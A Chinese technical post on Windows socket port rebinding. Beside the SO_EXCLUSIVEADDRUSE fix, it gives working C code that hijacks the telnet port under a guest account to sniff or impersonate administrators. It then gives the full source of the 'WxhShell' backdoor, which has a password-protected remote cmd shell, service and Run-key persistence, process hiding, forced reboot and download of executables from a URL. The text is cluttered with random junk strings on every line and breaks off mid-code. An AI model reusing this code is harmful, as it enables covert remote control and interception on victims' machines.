在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!>fYD8Ft, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
(;v)0&h ~,+n_KST; saddr.sin_family = AF_INET;
j[l6&eX xFxl9oM." saddr.sin_addr.s_addr = htonl(INADDR_ANY);
WA}<Zme3[ _J(n~"eR bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
xxkUu6x# /WlK*8C 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
nv&uhu/q 1{+x >Pv: 这意味着什么?意味着可以进行如下的攻击:
W9n0Jv gw~%jD-2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
bHVAa# (uW/t1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
qcMVY\gi i; Cs,Esnf 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
pm$2*!1F( ALvj)I`Al 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
bj23S& \Zc$X^}vN 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Q|QVm,m ?#;
oqH< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
^2f'I iE 7jvy]5y8&~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
8 2qf7` NbOeF7cq+ #include
L#sw@UCK #include
!OWPwBm; #include
)Y%>t #include
n,sf$9" DWORD WINAPI ClientThread(LPVOID lpParam);
/~3~Xc~=p int main()
(Mi]vK.4 {
Y.`
{]rC WORD wVersionRequested;
Y<|!)JLB2 DWORD ret;
S\fEV" WSADATA wsaData;
3sG7G:4 BOOL val;
aEUC SOCKADDR_IN saddr;
Fe
3*pUt SOCKADDR_IN scaddr;
}L
Q9db1 int err;
/2}o:vLj SOCKET s;
1HQh%dZZ SOCKET sc;
?#8',: int caddsize;
r~cmrLQa HANDLE mt;
#qkokV6` DWORD tid;
ZeewGa^r wVersionRequested = MAKEWORD( 2, 2 );
' >(])Oq, err = WSAStartup( wVersionRequested, &wsaData );
HQHFD0hv if ( err != 0 ) {
KHwzQ<Z3 printf("error!WSAStartup failed!\n");
AA][}lU:5 return -1;
z _qy> }
~\= VSwJ saddr.sin_family = AF_INET;
[A$5~/Q{U1 &v!=\Fig4 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
pR_cI]{=SA FTM(y CN saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
KrOoxrDcp saddr.sin_port = htons(23);
dw
%aoe if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
f[,9WkC {
vZV+24YWb printf("error!socket failed!\n");
.G}E return -1;
yXU-@~ }
y,qP$5xiq val = TRUE;
fR_
jYP1 //SO_REUSEADDR选项就是可以实现端口重绑定的
GwiG..Y]& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
1I({2@C {
G| 7\[!R printf("error!setsockopt failed!\n");
a<X8l^Ln return -1;
blxAy }
.G[y^w)w} //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
o(xRq;i //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
#_yQv? J //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
_\E{T5 Gvo(iOU if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
@$FE}j_ {
|1^>n,C ret=GetLastError();
_^4\z*x printf("error!bind failed!\n");
1*S5:7Tb return -1;
p:M#F: }
lB!`,>"c listen(s,2);
eUQ., mP while(1)
!:e|M|T'I* {
Hw"ik6 caddsize = sizeof(scaddr);
5 e:Urv77 //接受连接请求
)6|7L)Dk sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`(A6uakd if(sc!=INVALID_SOCKET)
=PHl|^ {
3/IQ]8g" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
$ tf;\R if(mt==NULL)
W-wy<<~f {
g*b
4N_ printf("Thread Creat Failed!\n");
9 tZ)#@\ break;
9xWC<i }
KDwz!:ye }
%bf+Y7m CloseHandle(mt);
\RN,i]c-g/ }
-_=0PW5{ closesocket(s);
MLg<YL WSACleanup();
e;b,7Qw return 0;
L(!4e }
iO=xx|d DWORD WINAPI ClientThread(LPVOID lpParam)
fr'M)ox1 {
UnNvlkjq9 SOCKET ss = (SOCKET)lpParam;
)#-27Y SOCKET sc;
4GJ1P2 unsigned char buf[4096];
'B}pIx6k~ SOCKADDR_IN saddr;
tf64<j6 long num;
=jD[A>3I DWORD val;
3oX%tx DWORD ret;
H"(:6
` //如果是隐藏端口应用的话,可以在此处加一些判断
%VYQz)yW //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
G)gf +)W saddr.sin_family = AF_INET;
A(duUl~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
`}o4 &$ saddr.sin_port = htons(23);
~^/zCPy[w if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
J5L P#o(V {
$mm =$. printf("error!socket failed!\n");
WujIaJt- return -1;
}_XW?^/8 }
sh.xp8^)^> val = 100;
:1u>T3L.z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ga#,42)H {
tb,.f3; ret = GetLastError();
o
D; return -1;
,2S
<#p! }
/2^cty.BXw if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
J*6I@_{/U {
E%eao$ ret = GetLastError();
3ojK2F(1D return -1;
1wUZ0r1' }
|Y3!Lix if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
hZnT`!iFE^ {
-Nmf}`_ printf("error!socket connect failed!\n");
KsYT3 closesocket(sc);
A/N*Nc closesocket(ss);
zO{$kT\r& return -1;
hTI8hh }
.;WJ(kB\U while(1)
(ohkM`83k {
THHrGvb //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
tW5\Ktjno //如果是嗅探内容的话,可以再此处进行内容分析和记录
a:@9GmtV& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
vy/U""w` num = recv(ss,buf,4096,0);
kF'^!Hp if(num>0)
#1Mk9sxo send(sc,buf,num,0);
I^Ichn else if(num==0)
*lv)9L+0 break;
@RotJl/> num = recv(sc,buf,4096,0);
O;[PEV~ if(num>0)
La%\-o send(ss,buf,num,0);
)DMu`cD else if(num==0)
)ufHk break;
%Hv$PsSJ }
aM 0kV.O closesocket(ss);
`.;7O27A^% closesocket(sc);
t )Z2"_5 return 0 ;
Ary$,3X2 }
Y^LFJB|b4 Ga f/0/| `.aL>hf ==========================================================
fEs957$ MIa].S# 下边附上一个代码,,WXhSHELL
XBhWj\`(T {+c/$4< ==========================================================
N-^\X3X ==x3|^0y #include "stdafx.h"
2`5(XpYe UEo,:zeN[ #include <stdio.h>
&_4A6 #include <string.h>
NOyLZa' #include <windows.h>
rQ}4\PTi
#include <winsock2.h>
z+" :,# #include <winsvc.h>
UQ|0Aqwq #include <urlmon.h>
6AUzS4O {\|? {8f #pragma comment (lib, "Ws2_32.lib")
hD<z^j+ #pragma comment (lib, "urlmon.lib")
?d+B]VYw ;YZw{|gsh #define MAX_USER 100 // 最大客户端连接数
SJU93n"G/ #define BUF_SOCK 200 // sock buffer
n!Y.?mU6 #define KEY_BUFF 255 // 输入 buffer
t{~"vD9Am 5YS`v#+ #define REBOOT 0 // 重启
vlIdi@V #define SHUTDOWN 1 // 关机
^'EEry QN_5q5 #define DEF_PORT 5000 // 监听端口
V EY !0PIj @mP@~ #define REG_LEN 16 // 注册表键长度
/l(:H #define SVC_LEN 80 // NT服务名长度
q,nj|9z V TeqFy( Dr // 从dll定义API
"]c:V4S#`A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
S-2xe?sb typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?Tuh22J{Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
)2S0OY. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
""pJO 6bI $L</{bXW // wxhshell配置信息
{(a@3m~a% struct WSCFG {
3kR- WgVF, int ws_port; // 监听端口
^ Jnp\o> char ws_passstr[REG_LEN]; // 口令
hph 3kfR int ws_autoins; // 安装标记, 1=yes 0=no
Jq6p5jr" char ws_regname[REG_LEN]; // 注册表键名
W[^XG\ char ws_svcname[REG_LEN]; // 服务名
ac+7D:X char ws_svcdisp[SVC_LEN]; // 服务显示名
+Yi=Wo/ char ws_svcdesc[SVC_LEN]; // 服务描述信息
PNc200`v4_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
vJ"@#$. int ws_downexe; // 下载执行标记, 1=yes 0=no
9q* sR1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Br#]FB|tD char ws_filenam[SVC_LEN]; // 下载后保存的文件名
]
{NY;|&I' ,6t0w|@-k };
aF'Ik XG d g?=B{V // default Wxhshell configuration
Yf {s0Z struct WSCFG wscfg={DEF_PORT,
W@wT,yJ8@ "xuhuanlingzhe",
Gw+z8^|C&} 1,
EVq<gGy "Wxhshell",
S}Mxm2 "Wxhshell",
!@VmaAT "WxhShell Service",
Kjz,p^Y\ "Wrsky Windows CmdShell Service",
$ya#-pi`; "Please Input Your Password: ",
>5^Z'!Z" 1,
[*}[W6
3v "
http://www.wrsky.com/wxhshell.exe",
;/oMH/,U8 "Wxhshell.exe"
{qLnwy!i };
Mqc[IAcd] 9!9 Gpi // 消息定义模块
Ch;EnN< char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
P\2QH@p@t char *msg_ws_prompt="\n\r? for help\n\r#>";
]-* }-j` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
O)9T|,
U char *msg_ws_ext="\n\rExit.";
?R,^prW{ char *msg_ws_end="\n\rQuit.";
fd+kr# char *msg_ws_boot="\n\rReboot...";
ORtl~V' char *msg_ws_poff="\n\rShutdown...";
|d%Dw^ char *msg_ws_down="\n\rSave to ";
QyHUuG|g y|MW-|0=! char *msg_ws_err="\n\rErr!";
t4gD*j6J3 char *msg_ws_ok="\n\rOK!";
sp_(j!]jX XLmbpEh char ExeFile[MAX_PATH];
%{}Jr` int nUser = 0;
3tr?-l[N\ HANDLE handles[MAX_USER];
$ng\qJ"HF int OsIsNt;
];uvE? 55 x[(2}Qd SERVICE_STATUS serviceStatus;
JpuW
!I SERVICE_STATUS_HANDLE hServiceStatusHandle;
>Y2Rr9 <CA
lJ // 函数声明
&)bar.vw/ int Install(void);
zb;'}l;+ int Uninstall(void);
m2_&rjGz int DownloadFile(char *sURL, SOCKET wsh);
x7NxHTL int Boot(int flag);
&0>{mq}p,: void HideProc(void);
|fw+{f int GetOsVer(void);
H<NYm#a" int Wxhshell(SOCKET wsl);
C62<pLJf void TalkWithClient(void *cs);
@#T?SNIL5 int CmdShell(SOCKET sock);
we} sC, int StartFromService(void);
S>"dUM int StartWxhshell(LPSTR lpCmdLine);
RsV<*s +u)' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
JGO>X|T
VOID WINAPI NTServiceHandler( DWORD fdwControl );
8L|C&Ymj hVGakp9WE // 数据结构和表定义
u@gYEx} SERVICE_TABLE_ENTRY DispatchTable[] =
(+^1'?C8 {
J@Orrz2q# {wscfg.ws_svcname, NTServiceMain},
)E4COw+ {NULL, NULL}
w1KQ9H* };
i5AhF\7F9 2XXEg>CU // 自我安装
]7VK&YfN int Install(void)
#Kh`ATme {
p[/n[@<8= char svExeFile[MAX_PATH];
:JN3@NsK HKEY key;
&c\8`# 6 strcpy(svExeFile,ExeFile);
C u?$!|V F_21`Hj // 如果是win9x系统,修改注册表设为自启动
5o72X k if(!OsIsNt) {
'8Gw{&& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
X'u`\<&W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
##n\9ipD RegCloseKey(key);
1/fvk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
A5/h*`Q\\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*Zc-&Dk:Ir RegCloseKey(key);
h5Z\9`f[ return 0;
bZlAK) }
!PQRlgcG }
un/eS-IIh }
brVT else {
:heJ5*!, (*;u{m= // 如果是NT以上系统,安装为系统服务
jG^~{7# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
zeua`jQ if (schSCManager!=0)
y7w>/7q {
Jg Xbs+. SC_HANDLE schService = CreateService
Zg'[.wov (
2
43DdIG$ schSCManager,
"*T)L<G wscfg.ws_svcname,
FE5R
^W#u- wscfg.ws_svcdisp,
`C()H@; SERVICE_ALL_ACCESS,
D{4
Y:O&J SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
>Y,7>ahyt SERVICE_AUTO_START,
Vnl~AQfk| SERVICE_ERROR_NORMAL,
#2MwmIeA svExeFile,
^ID%pd NULL,
nph{ NULL,
Kr#=u~~M NULL,
6%'{Cq1DE NULL,
%sq=lW5R{b NULL
K)v(Z" );
'0=U+Egp if (schService!=0)
4 '+)9&g {
~W#f,mf CloseServiceHandle(schService);
J)-owu; CloseServiceHandle(schSCManager);
^*r${Nj strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
'|cuVxcE55 strcat(svExeFile,wscfg.ws_svcname);
B8nXWi if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
f>'7~69 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
2KG j !w RegCloseKey(key);
5 4OYAkPCk return 0;
q+DH2&E' }
f"tO*/|` }
s,}<5N]U CloseServiceHandle(schSCManager);
{NFeX'5bP }
f^]AyU;F: }
q[#\qT&QU [X
I5Bu ~ return 1;
r" D |1 }
l:ED_env: Q?>#sN, // 自我卸载
SN+Bmdup int Uninstall(void)
a~%ej.)l {
.xx#>Y-\ HKEY key;
%pt$S~j izKk@{Md if(!OsIsNt) {
k`t'P6
bU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lfA
BF RegDeleteValue(key,wscfg.ws_regname);
q!,do2T RegCloseKey(key);
1D`RR/g& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?
vlGr5# RegDeleteValue(key,wscfg.ws_regname);
bDkE*4SRX RegCloseKey(key);
}.'%gJrS return 0;
d5%*^nMpY }
Fv: %"P^ }
:}-u`K* }
t2:c@) else {
PYUY bRn 2mO#vTX4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
qh'BrYu* if (schSCManager!=0)
K8Y/XEK {
cg.e(@( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
HLk"a-+' if (schService!=0)
vz:0"y {
;?!rpj if(DeleteService(schService)!=0) {
\,EPsQV0? CloseServiceHandle(schService);
L1xD$wl CloseServiceHandle(schSCManager);
/$z@_U[L return 0;
6'ZnyWb }
M;Rw]M CloseServiceHandle(schService);
~
t
H s+ }
TxvPfU? CloseServiceHandle(schSCManager);
kn"x[{d }
jq]"6/xxb }
GN9_ZlC I3Lsj}69 return 1;
"k|`xn }
qtN29[x I`TD*D // 从指定url下载文件
!S!03| int DownloadFile(char *sURL, SOCKET wsh)
EAB+kY {
K)+l 6Q HRESULT hr;
?GarD3#A char seps[]= "/";
D.o|($S0 char *token;
5Nb_K`Vp* char *file;
ehusI-q char myURL[MAX_PATH];
}#x3IE6' char myFILE[MAX_PATH];
55LF 1hyah.i]Y strcpy(myURL,sURL);
4Jr[8P0/A9 token=strtok(myURL,seps);
/&d`c=nH while(token!=NULL)
A4FDR# {
1$VI\} file=token;
E`n`#=xKR token=strtok(NULL,seps);
Vk_&W.~ }
Y^Q|l%Qrb 2P_^@g GetCurrentDirectory(MAX_PATH,myFILE);
8@KFln )[ strcat(myFILE, "\\");
Qf>Pb$c$U strcat(myFILE, file);
eJGos!>* send(wsh,myFILE,strlen(myFILE),0);
nj0AO0 send(wsh,"...",3,0);
zZc@;S# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
%OW9cqL>l if(hr==S_OK)
RhNaYO return 0;
0,$-)SkT else
<`_OpNxqW return 1;
CPNN!%- \e8*vos }
Gi2ad+QH- eQVPxt2N // 系统电源模块
AV 5\W} int Boot(int flag)
AOx3QgC^NO {
{dA
~#fW< HANDLE hToken;
ho]!G498 TOKEN_PRIVILEGES tkp;
Y`7#[g sMS9!{A if(OsIsNt) {
;#yu"6{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
9X$#x90 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
27],O@2?L tkp.PrivilegeCount = 1;
XBQ< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
>@^yj+k AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
uz#PBV8Q if(flag==REBOOT) {
Q P=[ Vw if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
[Ql?Y$QB`4 return 0;
QI#*5zm }
$EQT"ZX>%i else {
Y%)h)El
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
@nx}6?p\, return 0;
XiRT|%j }
C9mzg }
% O&m#)| else {
sUbz)BS#. if(flag==REBOOT) {
:PD`PgQ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
`\ef0 return 0;
}(+=/$C"# }
P~\a)Szy else {
].-J. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
up&N CX return 0;
d{2y/ }
Im?= e }
Oj"pj:fB !u53 3 return 1;
{\svV
0)~ }
-7k|6"EwM K$<`4#i // win9x进程隐藏模块
5%QC
][, void HideProc(void)
=XMD+ {
hJ;f1dZ7} s!@=rq HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
{UdcX~\~ if ( hKernel != NULL )
x&R9${e% {
\ W
'i0+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
CGd[3}" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
GJC!0{8; FreeLibrary(hKernel);
*(d6Z# }
s%N` d2C[wQF return;
}fJ:wku }
rnn2u+OG {d 1N& // 获取操作系统版本
]27>a"p59Y int GetOsVer(void)
FJa[ToZ4+ {
U]V3DDN OSVERSIONINFO winfo;
O t *K+^I winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
lL(p]!K' GetVersionEx(&winfo);
3$?9uMl# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
;|>q zx return 1;
0i8[= else
c<=`<!FS[ return 0;
5)d,G9 }
sf |oNOz V3>f*Z)xn // 客户端句柄模块
}BI~am_ int Wxhshell(SOCKET wsl)
,DQGv_ {
DKy>]Hca SOCKET wsh;
QKp+;$SE' struct sockaddr_in client;
g08*}0-k DWORD myID;
J3/\<=Qh h8f!<:rTS while(nUser<MAX_USER)
3]O`[P,*% {
/S:w&5e int nSize=sizeof(client);
`zdH1 p^w wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
VHXI@UT* if(wsh==INVALID_SOCKET) return 1;
#4P8Rzl$/ )KSisEL handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Km6Ub?/7o if(handles[nUser]==0)
Nk96"P$P closesocket(wsh);
T ;i?w else
Uc_jQ4e_ nUser++;
i&'#+f4t }
.)LZ`Ge3F WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
8)L'rW{q# uQH%.A return 0;
_Zh2eXWdjM }
Y\.-v\uJu L +L9Y} // 关闭 socket
aXMv(e+ void CloseIt(SOCKET wsh)
/_]ltX D {
[/
AIKZM< closesocket(wsh);
TqIAWbb& nUser--;
!n|#|.0m ExitThread(0);
+ c`AE }
Vwjk[ DOL 9lKn%|=T // 客户端请求句柄
js~tKUvg void TalkWithClient(void *cs)
W%TQYR {
b)N[[sOt d:A}CBTSY SOCKET wsh=(SOCKET)cs;
W7t
>&3l char pwd[SVC_LEN];
Y=r!2u6r~ char cmd[KEY_BUFF];
hw;0t,1 char chr[1];
N1%p"( int i,j;
$H'8
#:[d_ ^7.XGWQ)- while (nUser < MAX_USER) {
1n_;kaY Bp
:~bHf if(wscfg.ws_passstr) {
=-_)$GOI' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<0#^7Z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;(7-WnU8N //ZeroMemory(pwd,KEY_BUFF);
C\7u<2c i=0;
2Zy_5>~ while(i<SVC_LEN) {
qpI]R u#1%P5r&X // 设置超时
K}x_nW fd_set FdRead;
1pK6=-3w3 struct timeval TimeOut;
^K+:C;Q| FD_ZERO(&FdRead);
|XRImeF'd FD_SET(wsh,&FdRead);
v,{h: TimeOut.tv_sec=8;
KF_ ?'X0= TimeOut.tv_usec=0;
'TL2%T/)t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
F+m[&MKL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
b(l0js qe?Qeh(!X if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
D?^Y`G$. pwd
=chr[0]; 61} i5o
if(chr[0]==0xd || chr[0]==0xa) { WfZF~$li`
pwd=0; iwU[6A
break; u^=`%)
} %t*[T
i++; >"%ob,c:#
} `N}d}O8
)s)_XL
// 如果是非法用户,关闭 socket }# Doy{T
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4 /'N|c.
} 'Dath>Y=
dFW.}"^c
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,(N[*)G
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /ylc*3e'4
0}]SUe^
while(1) { qM",( Bh
)6-9)pH@)
ZeroMemory(cmd,KEY_BUFF); F}36IM9/:
~jN'J+_$
// 自动支持客户端 telnet标准 SJk>Jt=
j=0; /:Lu_)5
while(j<KEY_BUFF) { irKIy
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6ZOy&fd,Ty
cmd[j]=chr[0]; 6o=G8y
if(chr[0]==0xa || chr[0]==0xd) { ~Y7dH
Dn
cmd[j]=0; <41ZZ0<EwY
break; [=uIb._Wv
} Zb_apjg[4
j++; =-#G8L%Q
} h/)_)
r.x
_mJG5(|
// 下载文件 Udgqkl
if(strstr(cmd,"http://")) { TQ]dW
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZVih =Y-w
if(DownloadFile(cmd,wsh)) !<<AzLVL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q.Aa{d9e
else Kz?#C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s{}]D{bc
} *if`/N-q(m
else { CvDxq:x
6RoAl$}'
switch(cmd[0]) { =qu(~]2(
w7TJv4_
// 帮助 $B (kZ
case '?': { 33Az$GXFsq
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N( Oyi
break; #7G*GbKY
} nw6pV%
// 安装 =9wy/c$
case 'i': { r^fe4b
if(Install()) %, P>%'0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *ZrSiIPP
else !t#F/C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xHA0gZf
break; Fc 6iQ
} viX
+|A4gJ
// 卸载 g>JLDQdc
case 'r': { ;i<jhNA
if(Uninstall()) ";SiL{Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]?+{aS-]?k
else jgv`>o%<W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >ut" OL9J
break; }baR5v
} UL$}{2N,_
// 显示 wxhshell 所在路径 j<<3Pr
case 'p': { O`[aU%4b
char svExeFile[MAX_PATH]; W?woNt'n
strcpy(svExeFile,"\n\r"); 4rg2y]
strcat(svExeFile,ExeFile); Xf[kI
send(wsh,svExeFile,strlen(svExeFile),0); ^teq[l$;
break; 6%G-Vs]*2
} ~`ny@WD9
// 重启 };L ^w:
case 'b': { aB~S?.l
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C1kYl0zR[
if(Boot(REBOOT)) AaN"7.Z/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \m@Y WO?L
else { 4Z)DDz-}V
closesocket(wsh); |z^pL1Z]5
ExitThread(0); L|^o71t|
} kA7(CqUW
break; _a+ICqR
} RP(/x+V
// 关机 c Cxi{a1uo
case 'd': { {@r*+~C3
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~2/{3m{3 A
if(Boot(SHUTDOWN)) mjEs5XCC"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |,}E0G.
else { PaVO"y]C
closesocket(wsh); rF'R>/H
ExitThread(0); (BERY
} wk02[
break; C=VIT*=
} MB*u-N0v
// 获取shell w{'2q^>6*
case 's': { Z~3u:[x";
CmdShell(wsh); vS M_]fn
closesocket(wsh); *\LyNL(
ExitThread(0); 3$"/>g/
break; ">6&+^BN'
} %yaG,;>U
// 退出 3
Lje<KzL
case 'x': { :pd&dg!5
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yL"i
CloseIt(wsh); 'XTs
-=
break; 9bn2UiJk
} <F=Dj*]
// 离开 ek[kq[U9
case 'q': { oP]L5S&A
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8D2yR#3
closesocket(wsh); C|6{fd4?
WSACleanup(); ~JE|f 7
exit(1); <bdyAUeFw
break; u)7
]1e{
} g+9v$[!
} bm}+}CJ@#0
} _j 5N=I{U
dwp:iM
// 提示信息 A7(M,4`6
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WW3
B
} p!GZCf,
} .b _? -Fv
M;qb7Mu
return; 0IFlEe[>#
} U"B.:C2
-,/3"}<^78
// shell模块句柄 P/`m3aSzX.
int CmdShell(SOCKET sock) (H[
{ M*H<
n*
STARTUPINFO si; !u%9;>T7
ZeroMemory(&si,sizeof(si)); {~nvs4X
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jnDQ{D
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WQ.i$ID/
PROCESS_INFORMATION ProcessInfo; aG
Ef#A
char cmdline[]="cmd"; RnSm]}?
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UnjNR[=
return 0; d|3o/@k
} H%cp^G
.d
e
// 自身启动模式 Ym:{Mm=ud
int StartFromService(void) R|H[lbw
{ I)rGOda{
typedef struct 3/l\ <{
{ u&tFb]1@)
DWORD ExitStatus; u x#.:C|
